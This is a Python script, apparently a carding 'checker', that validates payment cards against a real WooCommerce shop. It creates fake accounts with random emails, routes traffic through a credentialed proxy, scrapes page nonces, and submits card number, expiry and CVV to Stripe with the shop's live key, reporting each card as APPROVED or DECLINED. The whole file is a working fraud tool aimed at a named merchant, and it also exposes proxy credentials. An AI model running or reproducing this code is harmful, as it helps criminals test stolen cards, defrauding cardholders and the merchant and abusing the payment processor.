import aiohttp
import asyncio
import json
import re
import uuid
import random
import string
from datetime import datetime, timedelta
import time

ACCOUNT_URL = 'https://ukiapublications.com/my-account/'
PAYMENT_URL = 'https://ukiapublications.com/my-account/add-payment-method/'
STRIPE_API_URL = 'https://api.stripe.com/v1/payment_methods'
WC_STRIPE_API_URL = 'https://ukiapublications.com/wp-admin/admin-ajax.php'

STRIPE_KEY = 'pk_live_51ETDmyFuiXB5oUVxaIafkGPnwuNcBxr1pXVhvLJ4BrWuiqfG6SldjatOGLQhuqXnDmgqwRA7tDoSFlbY4wFji7KR0079TvtxNs'
STRIPE_ACCOUNT = 'acct_1Kb35r2EIo68WO6K'

PROXY_URL = 'http://NFNmXMmY2PEtCktkfKzwhb4C:SAMA_698940@ca-mon.pvdata.host:8080'

def generate_email():
    domains = ['gmail.com', 'yahoo.com', 'hotmail.com']
    random_string = ''.join(random.choices(string.hexdigits.lower(), k=16))
    return f'{random_string}@{random.choice(domains)}'

def generate_uuid():
    return str(uuid.uuid4())

async def process_stripe_auth(kart, ay, yil, cvv):
    
    email = generate_email()
    start_time = time.time()
    
    base_headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
        'Cache-Control': 'max-age=0',
        'Connection': 'keep-alive',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
        'sec-ch-ua': '"Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"'
    }

    async with aiohttp.ClientSession(headers=base_headers, connector=aiohttp.TCPConnector(ssl=False), proxy=PROXY_URL) as session:
        
        try:
            async with session.get(ACCOUNT_URL, timeout=30) as response:
                if response.status != 200:
                    raise Exception(f'Hesap sayfası alınamadı. HTTP Kod: {response.status}')
                response_text = await response.text()
                
                nonce_match = re.search(r'<input[^>]+id="woocommerce-register-nonce"[^>]+value="([^"]+)"', response_text)
                if not nonce_match:
                    raise Exception('Registration nonce değeri bulunamadı.')
                nonce = nonce_match.group(1)
                
        except Exception as e:
            return f'DECLINED! - Sayfa yüklenemedi: {str(e)}'

        try:
            session_start_time = (datetime.now() - timedelta(days=4)).strftime('%Y-%m-%d %H:%M:%S')

            register_post_data = {
                'email': email,
                'email_2': '',
                'wc_order_attribution_source_type': 'typein',
                'wc_order_attribution_referrer': '(none)',
                'wc_order_attribution_utm_campaign': '(none)',
                'wc_order_attribution_utm_source': '(direct)',
                'wc_order_attribution_utm_medium': '(none)',
                'wc_order_attribution_utm_content': '(none)',
                'wc_order_attribution_utm_id': '(none)',
                'wc_order_attribution_utm_term': '(none)',
                'wc_order_attribution_utm_source_platform': '(none)',
                'wc_order_attribution_utm_creative_format': '(none)',
                'wc_order_attribution_utm_marketing_tactic': '(none)',
                'wc_order_attribution_session_entry': ACCOUNT_URL,
                'wc_order_attribution_session_start_time': session_start_time,
                'wc_order_attribution_session_pages': '9',
                'wc_order_attribution_session_count': '1',
                'wc_order_attribution_user_agent': base_headers['User-Agent'],
                'woocommerce-register-nonce': nonce,
                '_wp_http_referer': '/my-account/',
                'register': 'Register'
            }
            
            post_headers = base_headers.copy()
            post_headers.update({
                'Content-Type': 'application/x-www-form-urlencoded',
                'Origin': 'https://ukiapublications.com',
                'Referer': 'https://ukiapublications.com/my-account/payment-methods/',
                'Sec-Fetch-Dest': 'document',
                'Sec-Fetch-Mode': 'navigate',
                'Sec-Fetch-Site': 'same-origin',
                'Sec-Fetch-User': '?1',
                'Upgrade-Insecure-Requests': '1'
            })
            
            async with session.post(ACCOUNT_URL, data=register_post_data, headers=post_headers, timeout=30) as response:
                if response.status not in (200, 302):
                    raise Exception(f'Kayıt isteği başarısız oldu. HTTP Kod: {response.status}')
            
        except Exception as e:
            return f'DECLINED! - Kayıt hatası: {str(e)}'

        try:
            async with session.get(PAYMENT_URL, headers=base_headers, timeout=30) as response:
                if response.status != 200:
                    raise Exception(f'Ödeme sayfası alınamadı. HTTP Kod: {response.status}')
                response_text = await response.text()
                
                add_card_nonce = ''
                
                nonces_match = re.search(r'var wc_stripe_upe_params = \{.*?\"createAndConfirmSetupIntentNonce\":\"([^"]+)\".*?\};', response_text, re.DOTALL)
                if nonces_match:
                    add_card_nonce = nonces_match.group(1)
                
                if not add_card_nonce:
                    script_match = re.search(r'var\s+wcpay_upe_config\s*=\s*(\{.*?\});', response_text, re.DOTALL)
                    if script_match:
                        json_data = script_match.group(1)
                        nonce_match = re.search(r'\"createSetupIntentNonce\"\s*:\s*\"([^"]+)\"', json_data)
                        if nonce_match:
                            add_card_nonce = nonce_match.group(1)

                if not add_card_nonce:
                    raise Exception('Kart ekleme nonce değeri bulunamadı.')
                    
        except Exception as e:
            return f'DECLINED! - Nonce hatası: {str(e)}'

        try:
            time_on_page = int(time.time() - start_time) 
            
            stripe_post_data = {
                'type': 'card',
                'billing_details[name]': 'Checker Services',
                'billing_details[email]': email,
                'card[number]': kart,
                'card[cvc]': cvv,
                'card[exp_month]': ay,
                'card[exp_year]': yil,
                'billing_details[address][country]': 'TR',
                'guid': generate_uuid(),
                'muid': generate_uuid(),
                'sid': generate_uuid(),
                'pasted_fields': 'number',
                'allow_redisplay': 'unspecified',
                'payment_user_agent': 'stripe.js/4199e82f94; stripe-js-v3/4199e82f94; payment-element; deferred-intent',
                'referrer': 'https://ukiapublications.com',
                'time_on_page': str(time_on_page),
                'client_attribution_metadata[client_session_id]': generate_uuid(),
                'client_attribution_metadata[merchant_integration_subtype]': 'payment-element',
                'client_attribution_metadata[merchant_integration_version]': '2021',
                'client_attribution_metadata[merchant_integration_source]': 'elements',
                'client_attribution_metadata[payment_intent_creation_flow]': 'deferred',
                'client_attribution_metadata[payment_method_selection_flow]': 'merchant_specified',
                '_stripe_account': STRIPE_ACCOUNT,
                'key': STRIPE_KEY
            }
            
            stripe_headers = {
                'Content-Type': 'application/x-www-form-urlencoded',
                'User-Agent': base_headers['User-Agent'],
                'Origin': 'https://ukiapublications.com',
                'Referer': 'https://ukiapublications.com/my-account/add-payment-method/'
            }
            
            async with session.post(STRIPE_API_URL, data=stripe_post_data, headers=stripe_headers, timeout=30) as response:
                stripe_response_json = await response.text()
                stripe_data = json.loads(stripe_response_json)
            
            stripe_source_id = stripe_data.get('id', '')
            
            if not stripe_source_id:
                error_message = stripe_data.get('error', {}).get('message', 'Kart bilgisi geçersiz.')
                error_message = error_message.replace('Error: ', '').strip()
                return f'DECLINED! - {error_message}'
                
        except json.JSONDecodeError:
            return f'DECLINED! - Stripe yanıtı okunamadı.'
        except Exception as e:
            return f'DECLINED! - Stripe hatası: {str(e)}'

        try:
            wc_stripe_post_data = {
                'action': 'create_setup_intent',
                'wcpay-payment-method': stripe_source_id,
                '_ajax_nonce': add_card_nonce
            }
            
            wc_stripe_headers = base_headers.copy()
            wc_stripe_headers.update({
                'Content-Type': 'application/x-www-form-urlencoded',
                'Origin': 'https://ukiapublications.com',
                'Referer': 'https://ukiapublications.com/my-account/add-payment-method/',
                'Sec-Fetch-Dest': 'empty',
                'Sec-Fetch-Mode': 'cors',
                'Sec-Fetch-Site': 'same-origin',
                'X-Requested-With': 'XMLHttpRequest',
            })

            async with session.post(WC_STRIPE_API_URL, data=wc_stripe_post_data, headers=wc_stripe_headers, timeout=30) as response:
                wc_stripe_response_json = await response.text()
                
            try:
                wc_stripe_response = json.loads(wc_stripe_response_json)
            except json.JSONDecodeError:
                return f'DECLINED! - Yanıt okunamadı.'

        except Exception as e:
            return f'DECLINED! - İşlem hatası: {str(e)}'
            
    
    status = wc_stripe_response.get('data', {}).get('status', 'unknown')

    if status == 'succeeded':
        return f"APPROVED! - AUTH"
        
    else:
        message = wc_stripe_response.get('data', {}).get('error', {}).get('message', 'Kart reddedildi.')
        message = message.replace('Error: ', '').strip()
        return f"DECLINED! - {message}"

def check(card_data: str) -> str:
    try:
        kart, ay, yil, cvv = [i.strip() for i in card_data.split("|")]
    except ValueError:
        return "ERROR! - Kart formatı geçersiz: kartno|ay|yıl|cvv"

    ay = ay.zfill(2)
    yil = yil[-2:]
    
    try:
        return asyncio.run(process_stripe_auth(kart, ay, yil, cvv))
    except Exception as e:
        return f"ERROR! - İşlem hatası: {str(e)}"